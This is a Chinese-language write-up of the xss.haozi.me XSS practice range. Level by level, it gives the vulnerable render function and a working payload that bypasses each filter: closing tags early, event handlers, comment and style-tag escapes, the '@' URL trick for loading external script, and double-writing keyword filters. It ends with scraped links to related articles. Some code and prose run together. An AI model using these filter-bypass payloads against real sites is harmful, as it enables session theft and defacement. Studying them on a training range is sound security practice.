xss.haozi.me靶机XSS练习心得
xss.haozi.me靶机XSS练习心得
//server code
function render (input) {
return '<div>' + input + '</div>'
}
第一题测试js的语法,js都是利用<script>标签的,poc:
<script>alert(1)</script>function render (input) {
return '<textarea>' + input + '</textarea>'
}
第二题测试的是textarea标签,这个标签内,所有的脚本语言都是字符串,无法被调用执行,所以使用他的闭合标签进行闭合,然后再闭合后输入js代码:
</textarea><script>alert(1)</script>function render (input) {
return '<input type="name" value="' + input + '">'
}
考察es6语法中
符号进行字符串拼接,以及html标签事件属性 poc" onmouseover="alert`1``function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
考察正则语法,替换了会把圆括号替换为空
<input><img src="https://www.baidu.com/" onerror=alert(1)></input>
<body onpageshow=alert(1)>
<input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
<input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则替换规则多了一个`,考虑使用实体符号进行绕过,也可以考虑svg标签,body标签
<input><img src="https://www.baidu.com/" onerror=alert(1);></input>function render (input) {
input = input.replace(/-->/g, '')
return '<!-- ' + input + ' -->'
}
正则替换了
-->,这个是html的注释符,注释符有2中写法,分别是一种是
<!-- 注释的内容 -->另一种是<!-- 注释的内容 --!>所以我们用第二种注释去提前闭合poc:
--!><script>alert(1)</script>function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
此处正则替换的是auto,on.*=和>字符,忽略大小写 auto替换无法使用auto开头的事件属性,on开头的事件属性也无法使用
另外利用html语言只要关键字和语法正确,不受空格和换行符影响的特性
poc:
type="image" src="xxx" onerror
=alert(1)
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
此处正则替换的是<开头 以>结尾的中间是非">"得多个字符串
这里还是利用html语言特性最后一行的标签的闭合标签可以不写">"
poc:
<article><img src=1 onerror="alert(1)"</article>function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
这题中的html中已经有了一个<style>标签,根据第7题的规则,我们可以用
</style\r\n>进行闭合绕过poc:
</style
><script>alert(1)</script>
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
正则中字符串中必须要有
https?://www.segmentfault.com/意味着payload必须要写在后头,所以用/script>进行闭合poc:
https://www.segmentfault.com/script> <img src="xxx" onerror="alert(1)"因为语法正确,回车 空格都可以,所以poc里也可以任意添加空格和回车
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这题正则中会替换& ` " < > /为实体符号,意味着我们写入实体符号,其中的&字符就会被替换,导致无法正常解析,并且和上一题一样必须开头字符串必须是
https?://www.segmentfault.com/先介绍一个url语法中@字符作用,可以用来隔断域名,前后2个域名会忽略前面那个.注意一个细节2个域名的协议必须是一致的,必须都是http或者https
我们可以自己部署一个域名带上js, js中写上弹窗进行访问即可
poc:
https?://www.segmentfault.com/@www.xxx.com/test.js
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
题中进行了转换成大写操作,html中标签和属性名不区分大小写,但是path部分区分大小写,比如
<IMG SRC="1" ONERROR=alert(2)>等号后面的就是path内容
这题可以尝试第10题用script标签的src添加外部js链接
也可以用poc:
<img src="x" onerror=alert(1)>这个poc原理是js进行解析前会先对unicode进行解码,html中的Unicode格式为 &#编码的十进制数值,一般的格式还有直接\u开头的16进制四位编码,一定是四位
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
和12题相比多了个script的过滤,我们可以双写+unicode编码绕过
poc:
<scscriptript src="33" onerror = alert(1)></scscriptript>
xss.haozi.me靶机XSS练习心得的更多相关文章
- xss.haozi靶机
X00 <script>alert(1)</script> X01 </textarea><script>alert(1)</script> ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- [80Sec]深掘XSS漏洞场景之XSS Rootkit
顶80SEC的牛. 深掘XSS漏洞场景之XSS Rootkit[完整修订版] EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011 ...
- Java Web使用过滤器防止Xss攻击,解决Xss漏洞
转: Java Web使用过滤器防止Xss攻击,解决Xss漏洞 2018年11月11日 10:41:27 我欲乘风,直上九天 阅读数:2687 版权声明:本文为博主原创文章,转载请注明出处!有时候 ...
- xss构造--如何使用xss语句
XSS的构造 1.利用[<>]构造html/js 如[<script>alert(/xss/)</script>] 2.伪协议 使用javascript:伪协议来构 ...
- 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击
就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...
- XSS第二节,XSS左邻右舍
昨天的文章中引用了OWASP2013年的江湖排名,今天来看一下TOP中XSS的左邻右舍都是谁,先看一下他们的大名,再进一步介绍 [以下主要翻译自https://www.owasp.org/index. ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- EF Core级联保存时DbUpdateConcurrencyException报错异常
出现改报错异常的原因是,EF Core不支持级联更新时添加新的子项!!! 如果主体子项添加一个新内容,EF Core则认为这个内容原本已经存在了(实际是你新增的),只不过并发冲突中被其他进程删除掉了, ...
- 《Toward Fast, Flexible, and Robust Low-Light Image Enhancement》
1.(23条消息) 图像增强评价标准EME和matlab代码_eme指标_zhonglingyuxiuYYX的博客-CSDN博客 2.nn.moduleList 3.LOE:lightness ord ...
- locust自定义负载策略。
1.时间峰值策略 每运行一分钟启动100个用户,总运行时间为10分钟 class CustomShape(LoadTestShape): # 设置时限 time_limit = 600 # 设置产生率 ...
- react native 布局问题
1. Text组件里面的 文字垂直居中 <Text style={styles.confirmButtonStyle}>确认</Text> confirmButtonStyle ...
- .net code 3.0 获取配置文件 json 和 config 中的值
using Microsoft.Extensions.Configuration;using Microsoft.Extensions.FileProviders; using System.IO; ...
- 亲测:一个完整Vue开发环境搭建。
参考博客飞机: https://www.cnblogs.com/zhaomeizi/p/8483597.html
- 记录安装perl-Verilog过程
开始,编译带Verilog::Netlist的脚本,报 YumRepo Error: All mirror URLs are not using ftp, http[s] or file.centos ...
- pytest(5)-自定义用例顺序(pytest-ordering)-后续学习
前言 测试用例在设计的时候,我们一般要求不要有先后顺序,用例是可以打乱了执行的,这样才能达到测试的效果. 有些同学在写用例的时候,用例写了先后顺序, 有先后顺序后,后面还会有新的问题(如:上个用例返回 ...
- Go组件库总结之协程睡眠唤醒
本篇文章我们用Go封装一个利用gopark和goready实现协程睡眠唤醒的库.文章参考自:https://github.com/brewlin/net-protocol 1.gopark和gorea ...
- 日志分析查看—— cat+grep+awk+uniq+sort+wc+join
有个统计日志信息的需求,下面是使用到的命令 //按 \t 对文件每一行进行切割,正则匹配第二列为32896时,输出第一列:再进行排序并去重,最后统计行数 cat file.log|awk -F '\t ...